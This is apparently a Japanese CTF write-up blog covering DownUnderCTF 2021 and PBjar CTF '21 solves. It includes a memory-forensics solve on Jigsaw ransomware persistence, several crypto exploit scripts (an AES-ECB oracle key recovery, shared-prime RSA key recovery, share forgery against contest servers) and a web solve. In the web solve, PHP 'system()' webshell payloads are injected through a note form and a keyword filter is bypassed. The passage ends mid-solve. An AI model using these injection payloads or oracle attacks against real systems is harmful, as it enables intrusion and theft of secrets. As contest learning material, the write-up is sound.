Command line : "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1152,10551326307754508950,3778691879411989411,131072 --disable-gpu-compositing --lang=en-GB --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=143 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4760 /prefetch:1
************************************************************************
firefox.exe pid:   2080
Command line : "C:\Program Files (x86)\Mozilla Firefox\firefox.exe" -first-startup
************************************************************************
firefox.exe pid:   2156
Command line : "C:\Program Files (x86)\Mozilla Firefox\firefox.exe" -contentproc --channel="2080.0.1806420328\2068587236" -parentBuildID 20210903235534 -prefsHandle 1156 -prefMapHandle 1340 -prefsLen 1 -prefMapSize 235474 -appdir "C:\Program Files (x86)\Mozilla Firefox\browser" - 2080 "\\.\pipe\gecko-crash-server-pipe.2080" 1244 f0deb48 gpu
************************************************************************
firefox.exe pid:   2036
Command line : "C:\Program Files (x86)\Mozilla Firefox\firefox.exe" -contentproc --channel="2080.1.963837300\509935240" -childID 1 -isForBrowser -prefsHandle 1364 -prefMapHandle 1604 -prefsLen 1321 -prefMapSize 235474 -jsInit 720 285716 -parentBuildID 20210903235534 -appdir "C:\Program Files (x86)\Mozilla Firefox\browser" - 2080 "\\.\pipe\gecko-crash-server-pipe.2080" 1032 10841e28 tab
************************************************************************
firefox.exe pid:   5524
Command line : "C:\Program Files (x86)\Mozilla Firefox\firefox.exe" -contentproc --channel="2080.2.1712272282\1704974947" -childID 2 -isForBrowser -prefsHandle 1792 -prefMapHandle 1788 -prefsLen 1426 -prefMapSize 235474 -jsInit 720 285716 -parentBuildID 20210903235534 -appdir "C:\Program Files (x86)\Mozilla Firefox\browser" - 2080 "\\.\pipe\gecko-crash-server-pipe.2080" 1804 12a40108 tab
************************************************************************
firefox.exe pid:   5512
Command line : "C:\Program Files (x86)\Mozilla Firefox\firefox.exe" -contentproc --channel="2080.5.457040815\1949162558" -parentBuildID 20210903235534 -prefsHandle 2124 -prefMapHandle 1976 -prefsLen 1541 -prefMapSize 235474 -appdir "C:\Program Files (x86)\Mozilla Firefox\browser" - 2080 "\\.\pipe\gecko-crash-server-pipe.2080" 2136 f0dcf28 rdd
************************************************************************
firefox.exe pid:   3536
Command line : "C:\Program Files (x86)\Mozilla Firefox\firefox.exe" -contentproc --channel="2080.8.1437269067\508647407" -childID 3 -isForBrowser -prefsHandle 2632 -prefMapHandle 2628 -prefsLen 1972 -prefMapSize 235474 -jsInit 720 285716 -parentBuildID 20210903235534 -appdir "C:\Program Files (x86)\Mozilla Firefox\browser" - 2080 "\\.\pipe\gecko-crash-server-pipe.2080" 2648 10841b88 tab
************************************************************************
firefox.exe pid:   3344
Command line : "C:\Program Files (x86)\Mozilla Firefox\firefox.exe" -contentproc --channel="2080.12.1266410291\768878374" -childID 5 -isForBrowser -prefsHandle 4112 -prefMapHandle 4108 -prefsLen 11064 -prefMapSize 235474 -jsInit 720 285716 -parentBuildID 20210903235534 -appdir "C:\Program Files (x86)\Mozilla Firefox\browser" - 2080 "\\.\pipe\gecko-crash-server-pipe.2080" 4124 165b03a8 tab
************************************************************************
taskhost.exe pid:   4216
Command line : taskhost.exe $(Arg0)
************************************************************************
drpbx.exe pid:   3628
Command line : "C:\Users\Jacob\AppData\Local\Drpbx\drpbx.exe" C:\Users\Public\Videos\Sample?Videos\PJxhJQ9yUDoBF1188y\notsuspicious.exe★
************************************************************************
SearchProtocol pid:   2744
Command line : "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe7_ Global\UsGthrCtrlFltPipeMssGthrPipe7 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" 
************************************************************************
SearchFilterHo pid:   5272
Command line : "C:\Windows\system32\SearchFilterHost.exe" 0 508 512 520 65536 516

notsuspicious.exeがあやしい。

$ volatility -f JacobsPC.raw --profile=Win7SP1x64 filescan | grep notsuspicious.exe
Volatility Foundation Volatility Framework 2.6.1
0x000000007f7cb980      8      0 R--r-d \Device\HarddiskVolume2\Users\Public\Videos\Sample Videos\PJxhJQ9yUDoBF1188y\notsuspicious.exe

$ volatility -f JacobsPC.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007f7cb980 -D .
Volatility Foundation Volatility Framework 2.6.1
ImageSectionObject 0x7f7cb980   None   \Device\HarddiskVolume2\Users\Public\Videos\Sample Videos\PJxhJQ9yUDoBF1188y\notsuspicious.exe
DataSectionObject 0x7f7cb980   None   \Device\HarddiskVolume2\Users\Public\Videos\Sample Videos\PJxhJQ9yUDoBF1188y\notsuspicious.exe

$ md5sum file.None.0xfffffa80021d9b60.dat
c3894f0d12bacac4154e94bba0b9a798  file.None.0xfffffa80021d9b60.dat

このハッシュ値VirusTotalで調べる。
f:id:satou-y:20210929125221p:plain
マルウェアはJigsaw。フォルダはPJxhJQ9yUDoBF1188y。永続化メカニズムはRegistry Run Keys。

DUCTF{jigsaw_Registry Run Keys_PJxhJQ9yUDoBF1188y}

このフラグでは通らなかった。永続化メカニズムについて、他にもいろいろ試したが、通らない。

$ volatility -f JacobsPC.raw --profile=Win7SP1x64 printkey -K "Software\Microsoft\Windows\CurrentVersion\Run"
Volatility Foundation Volatility Framework 2.6.1
Legend: (S) = Stable   (V) = Volatile

----------------------------
Registry: \SystemRoot\System32\Config\DEFAULT
Key name: Run (S)
Last updated: 2021-09-13 10:41:47 UTC+0000

Subkeys:

Values:
----------------------------
Registry: \??\C:\Users\Jacob\ntuser.dat
Key name: Run (S)
Last updated: 2021-09-13 12:10:15 UTC+0000

Subkeys:

Values:
REG_SZ        Discord         : (S) C:\Users\Jacob\AppData\Local\Discord\Update.exe --processStart Discord.exe
REG_SZ        firefox.exe     : (S) C:\Users\Jacob\AppData\Roaming\Frfx\firefox.exe

結果的には、永続化メカニズムというよりは、永続化するための実行ファイル名にする必要があった。

DUCTF{jigsaw_firefox.exe_PJxhJQ9yUDoBF1188y}

Substitution Cipher I (crypto)

この暗号化ではフラグの各文字のASCIIコードを以下の計算してunicode文字にしている。

f = 13*x^2 + 3*x + 7

各文字でブルートフォースして復号する。

#!/usr/bin/python3
import codecs

with codecs.open('output.txt', 'rb', 'utf-8') as f:
    enc = f.read()

flag = ''
for c in enc:
    for x in range(32, 127):
        v = 13 * x**2 + 3 * x + 7
        if v == ord(c):
            flag += chr(x)
            break

print(flag)
DUCTF{sh0uld'v3_us3d_r0t_13}

Substitution Cipher II (crypto)

フラグがDUCTF{***}という形式から、f関数を導き出し、復号する。各文字の暗号化では以下の式が成り立つ。

a1 * x**6 + a2 * x**5 + a3 * x**4 + a4 * x**3 + a5 * x**2 + a6 * x + a7 = c

方程式にすると、以下の行列の式が成り立つ。

A * x = C
x = inverse(A) * C

7個の文字について条件を付けられるので、a1~a7を割り出すことができる。

#!/usr/bin/sage
from string import ascii_lowercase, digits

def f(X, c, n):
    v = 0
    for i in range(7):
        v += X[i][0] * pow(c, 6 - i, n)
    return v % n

CHARSET = "DUCTF{}_!?'" + ascii_lowercase + digits
n = len(CHARSET)

enc = 'Ujyw5dnFofaou0au3nx3Cn84'
known_flag = 'DUCTF{}'

pt = []
for i in range(len(known_flag)):
    pt.append(CHARSET.index(known_flag[i]))

ct = []
for i in range(len(known_flag) - 1):
    ct.append(CHARSET.index(enc[i]))
ct.append(CHARSET.index(enc[-1]))

A = []
for p in pt:
    row = []
    for i in range(6, -1, -1):
        row.append(pow(p, i, n))
    A.append(row)

B = []
for c in ct:
    B.append([c])

A = matrix(Zmod(n), A)
B = matrix(Zmod(n), B)
X = A.inverse() * B

for i in range(len(enc)):
    for j in range(n):
        v = f(X, j, n)
        if v == CHARSET.index(enc[i]):
            print i, CHARSET[j]

実行結果は以下の通り。

0 D
1 U
1 !
2 C
3 T
3 t
4 F
5 {
6 g
7 o
8 0
9 d
10 _
11 0
12 l
13 '
14 _
15 l
16 4
17 g
18 r
19 4
20 f
20 n
20 p
21 g
22 3
22 8
23 }

複数の復号結果が出るので、単語として成り立ちそうなものを選ぶ。

DUCTF{go0d_0l'_l4gr4ng3}

treasure (crypto)

サーバの処理概要は以下の通り。

・FAKE_COORDS = 5754622710042474278449745314387128858128432138153608237186776198754180710586599008803960884
・p = 13318541149847924181059947781626944578116183244453569385428199356433634355570023190293317369383937332224209312035684840187128538690152423242800697049469987
・shares = create_shares(REAL_COORDS)
 ・r1, r2: 1以上p-1以下ランダム整数
 ・s1 = r1*r2*REAL_COORDS % p
 ・s2 = r1*r1*r2*REAL_COORDS % p
 ・s3 = r1*r2*r2*REAL_COORDS % p
 ・[s1, s2, s3]を返す。
・shares[0]を表示
・secret_coords = run_combiner(shares)
 ・your_share: 数値入力
 ・reveal_secret([your_share, shares[1], shares[2]])を返却
  ・s1, s2, s3 = [your_share, shares[1], shares[2]]
  ・secret = pow(s1, 3, p) * pow(s2*s3, -1, p) % p
・secret_coordsを表示
・is_coords(secret_coords)がFalseかどうかチェック
 ・secret_coords が正規表現で以下を満たしていなければFalse
  ・'-?\d+\.\d+?, -?\d+\.\d+'
・secret_coords = run_combiner(shares)
 ・your_share: 数値入力
 ・reveal_secret([your_share, shares[1], shares[2]])を返却
・is_coords(secret_coords)がTrueかどうかチェック
 ・secret_coords が正規表現で以下を満たしていればTrue
  ・'-?\d+\.\d+?, -?\d+\.\d+'
・secret_coords がFAKE_COORDSと一致していることが必要
 ・real_coords: 数値入力
 ・REAL_COORDSと一致していたら、フラグを表示

最初の入力では1を指定するとpow(s2*s3, -1, p)が取得できる。
次の入力について考える。

reveal_secret([x, s2, s3]) == FAKE_COORDSである必要あり
pow(x, 3, p) * pow(s2*s3, -1, p) % p = FAKE_COORDS
→pow(x, 3, p) = (FAKE_COORDS * (s2 * s3)) % p

これでRSA暗号の復号の要領でxを求めることができる。
最後の入力では、REAL_COORDSを算出する必要がある。

REAL_COORDS = pow(s1, 3, p) * pow(s2*s3, -1, p) % p

pow(s1, 3, p)もpow(s2*s3, -1, p)もわかっているので、簡単に計算できる。

#!/usr/bin/python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

FAKE_COORDS = 5754622710042474278449745314387128858128432138153608237186776198754180710586599008803960884
p = 13318541149847924181059947781626944578116183244453569385428199356433634355570023190293317369383937332224209312035684840187128538690152423242800697049469987

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('pwn-2021.duc.tf', 31901))

data = recvuntil(s, b'\n').rstrip()
print(data)
shares0 = int(data.split(' ')[-1])

your_share = 1
data = recvuntil(s, b': ')
print(data + str(your_share))
s.sendall(str(your_share).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
inv_s2s3 = int(data.split(' ')[-1])

c = FAKE_COORDS * inverse(inv_s2s3, p) % p
phi = p - 1
d = inverse(3, phi)
your_share = pow(c, d, p)
data = recvuntil(s, b': ')
print(data + str(your_share))
s.sendall(str(your_share).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

real_coords = pow(shares0, 3, p) * inv_s2s3 % p
data = recvuntil(s, b': ')
print(data + str(real_coords))
s.sendall(str(real_coords).encode() + b'\n')

for _ in range(10):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

Your share is: 7804293849402738656143934896341083753302497888743094224497544817840005883520708954899094814585889708716443115003224471488288312933165458151030566716551263
Your two friends input their shares into the combiner and excitedly wait for you to do the same...
Enter your share: 1
The secret is revealed: 10778146055053391357265261942770602144861595970618645595558801335308604801636463229704860925111251602145029455459496243606168210175092865359176816238912500
"Hey those don't look like coordinates!"
Your friends grow a bit suspicious, but you manage to convince them that you just entered a digit wrong. You decide to try again...
Enter your share: 8710965049368583723357806344126910624939097477429135301479243146268371450183461800160858606290045446882089498090263858527131639024232533573995887518618067
You've successfully deceived your friends!
Now enter the real coords: 5756627544102572649201219381096443309301530404084814366157678459246004007288774904822314549

You travel to the exact coordinates that you found
and notice something shining in the corner of your
eye. It's a treasure chest! You open it and in a
completely unexpected turn of events, it's empty!

Etched at the bottom of the hollow chest, you make
out some writing. It reads:

DUCTF{m4yb3_th3_r34L_tr34sur3_w4s_th3_fr13nDs_w3_m4d3_al0ng_Th3_W4y.......}
DUCTF{m4yb3_th3_r34L_tr34sur3_w4s_th3_fr13nDs_w3_m4d3_al0ng_Th3_W4y.......}

Break Me! (crypto)

pad(flag + 入力文字列 + key)がAES-ECBで暗号化される。ただしpadは、16の倍数の長さの場合行われず、'0'がパディングされる。鍵を1文字ずつはみ出させ、ブルートフォースでブロック単位で暗号が一致するものを求めていく。

$ nc pwn-2021.duc.tf 31914
AES-128
Enter plaintext:
a
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YJN8jgrU3lwgaZYItQD8O+/ySPAtunw8lTSmucLjij7WA==
Enter plaintext:
aa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YIAGEIjKUMQ4Cxs5ILqeYKqW5R1Q3puWvM1y514p0HJPQ==
Enter plaintext:
aaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YK+FyUcVZgHiuctzk91CBtarasdO9jL90GuHmd670h1xw==
Enter plaintext:
aaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YJHD8oKkejNXPMCzmVVznNy9mFyRlVMomJ047jWairQcg==
Enter plaintext:
aaaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YI0AjZAsMu3waxcwMWizZl70RnGBxkNfAuXcLka0D37xg==
Enter plaintext:
aaaaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YK9l6G/8NfdF4i4YI5Q5Qo3HamNuq787ok2g47VlrOqRQ==
Enter plaintext:
aaaaaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YIn9motbI4Mf+IoFVPEgsdLKXkAfRCXygaTG3MfOEf8qA==
Enter plaintext:
aaaaaaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YKI7epqyfcn88oO8MSDMAxuOryUpfzvcX/y5pjmHX4HhA==
Enter plaintext:
aaaaaaaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YJOhlrdOWKyL6k3Ps89a2upQSgTyzzafEDgxqs1XVcjdw==
Enter plaintext:
aaaaaaaaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YIBeFJVe8wHSX9fUKzIQCTO6FDKhre+OwE2annUeyi3XA==
Enter plaintext:
aaaaaaaaaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YLzS1Iuf4fhzRqk3Vm9akOV/qzvoUmXw/HmE/Y+F6ZBjA==
Enter plaintext:
aaaaaaaaaaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YKMJ0ylGJtkoeilWQpnWm/LPOLlkZPLGxXCFF0yLHxiqg==
Enter plaintext:
aaaaaaaaaaaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YKlTo/QGx0MpanMUAd/j1VSSDewVaRDbl/Q0nqsdRnPAg==
Enter plaintext:
aaaaaaaaaaaaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YI1OhDtn0QNJYViu+LzUkQl77ukeyH+Uxabp3PiWJAvZA==
Enter plaintext:
aaaaaaaaaaaaaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YJRUuFnwgTq5tTDe0LM6F+6p2zTX1Ao4jQHUauEyyuDrA==
Enter plaintext:
aaaaaaaaaaaaaaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YKYCiwa1u9m8RzI/xJpWN8hm8XWdhGwJb3Z/JWY2GlrlQ==
Enter plaintext:
aaaaaaaaaaaaaaaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YKYCiwa1u9m8RzI/xJpWN8hTfI4K1N5cIGmWCLUA/Dvv8kjwLbp8PJU0prnC44o+1g=

この結果からブロックの構成をすると以下のようになり、フラグは32バイト、鍵は16バイトであることがわかる。

0123456789abcdef
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
aaaaaaaaaaaaaaaa
aKKKKKKKKKKKKKKK
KPPPPPPPPPPPPPPP

鍵の1バイト目をはみ出させる場合は、以下のような構成。

0123456789abcdef
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
aaaaaaaaaaaaaaa?
aaaaaaaaaaaaaaaK
KKKKKKKKKKKKKKKP
#!/usr/bin/python3
import socket
from Crypto.Cipher import AES
from base64 import b64decode

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('pwn-2021.duc.tf', 31914))

data = recvuntil(s, b'\n').rstrip()
print(data)

key = ''
for i in range(16):
    for code in range(256):
        if code == 10:
            continue
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        msg = 'a' * (15 - i) + key + chr(code) + 'a' * (15 - i)
        print(msg)
        s.sendall(msg.encode() + b'\n')
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        enc = b64decode(data)
        if enc[32:48] == enc[48:64]:
            key += chr(code)
            break

cipher = AES.new(key.encode(), AES.MODE_ECB)
flag = cipher.decrypt(enc[:32]).decode()
print(flag)

実行結果は以下の通り。

AES-128
Enter plaintext:
aaaaaaaaaaaaaaa
aaaaaaaaaaaaaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YIDOwmfNIffUAEzy4ft/neCUVLhZ8IE6ubUw3tCzOhfuqds019QKOI0B1GrhMsrg6w=
Enter plaintext:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YLAeBLB5TAXo2ck2INfV20/UVLhZ8IE6ubUw3tCzOhfuqds019QKOI0B1GrhMsrg6w=
Enter plaintext:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YKmpoiIGcutSnvgQ73UbqESUVLhZ8IE6ubUw3tCzOhfuqds019QKOI0B1GrhMsrg6w=

                :

Enter plaintext:
!_SECRETSOURCE_
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YKbxdZ2EbAlvdn8lZjYaWuVp2zTX1Ao4jQHUauEyyuDrA==
Enter plaintext:
!_SECRETSOURCE_
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YKbxdZ2EbAlvdn8lZjYaWuVp2zTX1Ao4jQHUauEyyuDrA==
Enter plaintext:
!_SECRETSOURCE_
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YKbxdZ2EbAlvdn8lZjYaWuVp2zTX1Ao4jQHUauEyyuDrA==
Enter plaintext:
!_SECRETSOURCE_!
8MAq3pGs7/KTcv0c3ijqTJhv/z9V8QA7l9TkMkU72YKbxdZ2EbAlvdn8lZjYaWuVm8XWdhGwJb3Z/JWY2GlrlQ==
DUCTF{ECB_M0DE_K3YP4D_D474_L34k}
DUCTF{ECB_M0DE_K3YP4D_D474_L34k}

Secuchat (crypto)

各ユーザ(30名)がrsa_key(公開鍵)を持っている。Userテーブルから全ユーザのrsa_keyをエクスポートする。rsa_keyのModulusで同じ約数を持つものを探し、秘密鍵ファイルを作成してみる。

from Crypto.PublicKey import RSA
from Crypto.Util.number import *

users = ['angela45', 'hortonashley', 'sarahdavis', 'lmiller', 'denisemoore',
    'rogerrichards', 'davidfoster', 'bushjessica', 'michelehansen', 'amoore',
    'james72', 'elizabeth93', 'cwhite', 'ryan10', 'courtney14', 'garciamartha',
    'aprilchambers', 'pmarquez', 'floresmaria', 'ybrown', 'pwilson',
    'josephlindsey', 'matthew75', 'eriksaunders', 'aliciadrake',
    'johnsontimothy', 'oneillpatricia', 'nscott', 'rcruz', 'storres']

ns = []
for u in users:
    fname = 'key/%s.bin' % u
    with open(fname, 'rb') as f:
        pub_data = f.read()

    pubkey = RSA.importKey(pub_data)
    n = pubkey.n
    e = pubkey.e
    assert e == 65537
    ns.append(n)

for i in range(len(ns)):
    for j in range(i+1, len(ns)):
        p = GCD(ns[i], ns[j])
        if p != 1:
            q1 = ns[i] // p
            q2 = ns[j] // p
            print 'user1 =', users[i]
            print 'user2 =', users[j]
            print 'p =', p
            print 'q1 =', q1
            print 'q2 =', q2

            phi1 = (p - 1) * (q1 - 1)
            phi2 = (p - 1) * (q2 - 1)
            d1 = inverse(e, phi1)
            d2 = inverse(e, phi2)

            key1 = RSA.construct(map(long, (ns[i], e, d1)))
            key2 = RSA.construct(map(long, (ns[j], e, d2)))

            with open(users[i] + '_pri.key', 'w') as f:
                f.write(key1.exportKey())
            with open(users[j] + '_pri.key', 'w') as f:
                f.write(key2.exportKey())

実行結果は以下の通り。

user1 = hortonashley
user2 = eriksaunders
p = 133466825987755430272845819131189878475949531124908548925625729014773654095611929382311940926413578955464687448166109016437333937351204126047469738072985838469878770181604920274710562425226226629637410423438143246879323430748145634335643727697763949446994599049954230220862004818645276994332655884528632470029
q1 = 150800758546585864276699976719226785712279609923705796183705575603672079795403309961784619004552042973374437992254498313339528652360723160548428435272795441449993138937121825516230321249669799044011210832693978123523904947810980190276881271928695574417287879362480460759690362693750109971383652883143766360359
q2 = 148704904308273523058484127055137378620932174272777551833069204786761758340570631741859456508662259607861904153885411924765940981745547976574197604593706187290791666135495071771144625678996286172037544681268601514948592778248296514095308664212132680408538439244614357066052877805077334535299786616961129671337

他のデータも見てみる。
Conversationテーブルではイニシエータと各メッセージとの紐づけがわかる。
Parametersテーブルでは各メッセージに対応するRSA2048-OAEPで暗号化されたAES-256-CBCの鍵とIVが格納されている。
MessageテーブルではAES-256-CBCで暗号化されたメッセージの暗号化データが格納されている。
そこで、秘密鍵ファイルが生成できたhortonashleyからのメッセージが最後にあることからこのメッセージを復号する。
以下のデータをエクスポートする。

・Parametersテーブルのidが328~332のデータの
 encrypted_aes_key_for_initiator(AES暗号鍵のRSA暗号データ)、iv(AES暗号IV)
・Messageテーブルのidが329~333のデータのencrypted_message(暗号化メッセージ)

エクスポートしたデータを使って、以下のような流れで各メッセージを復号する。

・encrypted_aes_key_for_initiatorをRSA暗号の秘密鍵を使って、RSA2048-OAEP復号する。
・復号したAES鍵とivを使って、encrypted_messageを復号する。
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

with open('hortonashley_pri.key', 'r') as f:
    pri_data = f.read()

pri_key = RSA.importKey(pri_data)

for i in range(328, 333):
    fname = 'enc_aeskey_%d.bin' % i
    with open(fname, 'rb') as f:
        enc_aes_key = f.read()

    cipher = PKCS1_OAEP.new(pri_key)
    aes_key = cipher.decrypt(enc_aes_key)

    fname = 'iv_%d.bin' % i
    with open(fname, 'rb') as f:
        iv = f.read()

    fname = 'enc_msg_%d.bin' % (i+1)
    with open(fname, 'rb') as f:
        enc_msg = f.read()

    cipher = AES.new(aes_key, AES.MODE_CBC, iv)
    msg = unpad(cipher.decrypt(enc_msg), 16)
    print msg

実行結果は以下の通り。

hey Harum ipsum eos ex unde.
hey Asperiores repellat enim dolorum accusamus repudiandae cupiditate eius.
here's the flag btw Veniam aperiam quae.
DUCTF{pr1m1t1v35, p4dd1ng, m0d35- wait, 3n7r0py?!} Ratione distinctio totam.
cheers Ea alias enim laborum.
DUCTF{pr1m1t1v35, p4dd1ng, m0d35- wait, 3n7r0py?!}

Survey (survey)

アンケートに答えたら、フラグが表示された。

DUCTF{th4nk_y0u_f0r_pl4ying_DUCTF_2021_!!}

PBjar CTF '21 Writeup

この大会は2021/9/17 23:00(JST)~2021/9/20 11:00(JST)に開催されました。
今回もチームで参戦。結果は9857点で563チーム中7位でした。
自分で解けた問題をWriteupとして書いておきます。

discord plz (misc)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

flag{thamks_for_joining_the_disc}

Convert (crypto)

hexデコードする。

$ echo 666c61677b6469735f69735f615f666c346767675f68317d | xxd -r -p
flag{dis_is_a_fl4ggg_h1}
flag{dis_is_a_fl4ggg_h1}

ReallynotSecureAlgorithm (crypto)

p, qがわかっているので、そのまま復号する。

from Crypto.Util.number import *

with open('out.txt', 'r') as f:
    p = int(f.readline())
    q = int(f.readline())
    e = int(f.readline())
    ct = int(f.readline())

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, p * q)
flag = long_to_bytes(m)
print flag
flag{n0t_to0_h4rd_rIt3_19290453}

ProgrammersHateProgramming (web)

noteを追加すると、phpとして追加される。以下のように入力して情報を得る。

■<? system("pwd"); ?>
/var/www/html

■<? system("ls -l"); ?>
total 11508
-rw-r--r-- 1 www-data www-data    48 Sep 17 14:48 019IDCL7D9cpglS.php
-rw-r--r-- 1 www-data www-data     0 Sep 17 21:16 08BeBMzfoCze8ZR.php
-rw-r--r-- 1 www-data www-data     9 Sep 17 15:01 094kV3YMpZgVuht.php
-rw-r--r-- 1 www-data www-data     0 Sep 17 17:45 09yOL3RK2ghqRjT.php
-rw-r--r-- 1 www-data www-data    13 Sep 17 15:02 0CH2G3pDnhFy3xD.php
-rw-r--r-- 1 www-data www-data     7 Sep 17 15:04 0CYolvsA6imCHOR.php
-rw-r--r-- 1 www-data www-data    27 Sep 17 18:58 0CjTWUcNT3pJBok.php
-rw-r--r-- 1 www-data www-data    23 Sep 17 16:01 0D4goPO3fKrJ9Fz.php
                :
                :
-rwxr-xr-x 1 root     root        19 Sep 17 00:26 note1.php
-rwxr-xr-x 1 root     root        14 Sep 17 00:26 note2.php
                :
                :

フラグらしきものはない。

■<? system("cat index.php"); ?>

<?php
session_start();
if(!isset($_SESSION["notes"]) && !isset($note_array))
{
    $note_array = array("note1.php", "note2.php");
    $_SESSION["notes"]=$note_array;
}
?>

<html>
<head>
    <title> Programmers Hate Programming </title>

    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">

    <link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<div class="container">
<div class="jumbotron">
    <div class="login-form">
        <form role="form" action="addnote.php" method="post">
            <div class="form-group">
                <input type="text" name="notewrite" id="notewrite" class="form-control input-lg" placeholder="New Note">
                <input type="submit" class="btn btn-lg btn-success btn-block" value="Add Note">
            </div>
        </form>
    </div>
</div>
<div class="jumbotron">
    <?php
        foreach($_SESSION["notes"] as $key=>$value)
        {
            $notenum = $key + 1;
            echo "<a href=$value> Note $notenum </a>" . "<br>";
        }
    ?>
</div>
</div>
</html>

■<? system("cat addnote.php"); ?>

<?php
session_start();

function str_replace_first($from, $to, $content)
{
    $from = '/'.preg_quote($from, '/').'/';

    return preg_replace($from, $to, $content, 1);
}
function generateRandomString($length = 15) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

if(isset($_POST["notewrite"]))
{
    $newnote = $_POST["notewrite"];
    $notetoadd = str_replace_first("<?php", "", $newnote);
    $notetoadd = str_replace_first("?>", "", $notetoadd);
    $notetoadd = str_replace_first("<script>", "", $notetoadd);
    $notetoadd = str_replace_first("</script>", "", $notetoadd);
    $notetoadd = str_replace_first("flag", "", $notetoadd);

    $filename = generateRandomString();
    array_push($_SESSION["notes"], "$filename.php");
    file_put_contents("$filename.php", $notetoadd);
    header("location:index.php");
}
?>

"flag"というワードは削除されるので、そのことを考慮して、情報収集を続ける。

■<? system("ls -l /"); ?>

total 916
drwxr-xr-x   1 root root   4096 Dec 11  2020 bin
drwxr-xr-x   2 root root   4096 Nov 22  2020 boot
drwxr-xr-x   5 root root    340 Sep 17 01:01 dev
drwxr-xr-x   1 root root   4096 Sep 17 01:01 etc
-rwxr-xr-x   1 root root    239 Sep 17 00:26 flag.php
drwxr-xr-x   2 root root   4096 Nov 22  2020 home
drwxr-xr-x   1 root root   4096 Dec 11  2020 lib
drwxr-xr-x   2 root root   4096 Dec  9  2020 lib64
drwxr-xr-x   2 root root   4096 Dec  9  2020 media
drwxr-xr-x   2 root root   4096 Dec  9  2020 mnt
drwxr-xr-x   2 root root   4096 Dec  9  2020 opt
dr-xr-xr-x 294 root root      0 Sep 17 01:01 proc
drwx------   1 root root   4096 Dec 11  2020 root
drwxr-xr-x   1 root root   4096 Dec 11  2020 run
drwxr-xr-x   1 root root   4096 Dec 11  2020 sbin
drwxr-xr-x   2 root root   4096 Dec  9  2020 srv
dr-xr-xr-x  13 root root      0 Sep 17 01:01 sys
drwxrwxrwt   1 root root 860160 Sep 18 01:17 tmp
drwxr-xr-x   1 root root   4096 Dec  9  2020 usr
drwxr-xr-x   1 root root   4096 Dec 11  2020 var

■<? system("cat /flflagag.php"); ?>
